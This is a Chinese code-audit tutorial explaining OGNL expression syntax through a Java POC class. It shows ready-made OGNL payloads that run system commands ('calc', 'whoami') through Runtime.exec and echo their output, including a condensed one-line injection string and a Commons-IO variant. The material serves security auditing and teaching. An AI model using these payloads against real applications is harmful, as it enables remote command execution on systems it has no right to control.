代码审计-三十行代码看懂OGNL表达式_静态成员变量

代码审计-三十行代码看懂OGNL表达式_java代码_02

通过String的四种写法认识OGNL

注意此处直接调用OGNL原生输入,所以不需要加${xxxxx}对表达式进行识别。

import ognl.Ognl;

import ognl.OgnlContext;

public class POC {

   public static void main(String[] args) throws Exception {

       // 创建一个OGNL上下文对象

       OgnlContext context = new OgnlContext();

       // getValue()触发

       // @[类全名(包括包路径)]@[方法名|值名]

       //Ognl.getValue("@java.lang.Runtime@getRuntime().exec('calc')", context, context.getRoot());

       String aaa="bbb";

       //String有四种写法你晓得吗?

       System.out.println(Ognl.getValue("new String('aaa')", context, context.getRoot()));

       System.out.println(Ognl.getValue("new java.lang.String('bbb')", context, context.getRoot()));

       System.out.println(Ognl.getValue("'ccc'.toString()", context, context.getRoot()));

       System.out.println(Ognl.getValue("#edg=new java.lang.String('edg'),#rng=new java.lang.String('rng')", context, context.getRoot()));

       //顺带一提,#符号还可以声明变量或者实例,可以说是十分变态了。

       System.out.println(Ognl.getValue("#hello=new java.lang.String('good'),#world=new java.lang.String('bye'),#hello+#world", context, context.getRoot()));

       //@可以调用静态方法或者变量

       System.out.println(Ognl.getValue("@java.lang.Runtime@getRuntime().exec('calc')", context, context.getRoot()));

       //手工实现,很显然我使用new的都是调用的实例方法,说明该方法不是static的。而Runtime类的方法是static属性的静态方法,所以大伙儿可以不用new嗷。

       System.out.println(((new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("whoami").getInputStream()))).readLine()).toString());

       //ognl表达式实现,@可以调用静态方法、静态成员变量。但实例方法只能new

       System.out.println(Ognl.getValue("(new java.io.BufferedReader(new java.io.InputStreamReader(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream()))).readLine()", context, context.getRoot()));

       /*        java.lang.String(

               new java.io.BufferedReader(

                       new java.io.InputStreamReader(

                               @java.lang.Runtime@getRuntime().exec('whoami').getInputStream()

                       )

               ).readLine()

       )*/

       // setValue()触发

//        Ognl.setValue(Runtime.getRuntime().exec("calc"), context, context.getRoot());

   }

}

结果如下:

aaa

bbb

ccc

rng

goodbye

java.lang.ProcessImpl@300ffa5d

laptop-pg0d8gp9\admin

laptop-pg0d8gp9\admin

特殊符号的用法

@可以调用静态方法或者变量,比如runtime



代码审计-三十行代码看懂OGNL表达式_静态方法_03

代码审计-三十行代码看懂OGNL表达式_java代码_04

JAVA代码转OGNL表达式的例子

将命令执行的代码改写

import java.io.BufferedReader;

import java.io.IOException;

import java.io.InputStream;

import java.io.InputStreamReader;

public class test {

   public static void test111() throws IOException {

       InputStream is = Runtime.getRuntime().exec("whoami").getInputStream();

       InputStreamReader isr = new InputStreamReader(is);

       BufferedReader buff = new BufferedReader (isr);

       String line;

       while((line = buff.readLine()) != null)

           System.out.print(line);

   }

}

改写成OGNL表达式的形式(PS:OGNL表达式实现循环比较麻烦,所以这里只能显示命令执行回显的第一行)

java.lang.String(

               new java.io.BufferedReader(

                       new java.io.InputStreamReader(

                               @java.lang.Runtime@getRuntime().exec('whoami').getInputStream()

                       )

               ).readLine()

   )

表达式合并后的结果

(newjava.io.BufferedReader(newjava.io.InputStreamReader(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream()))).readLine()

所以还是Commons-io提供的现成方法好用,缺点是非JDK原生,需要依赖

@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream())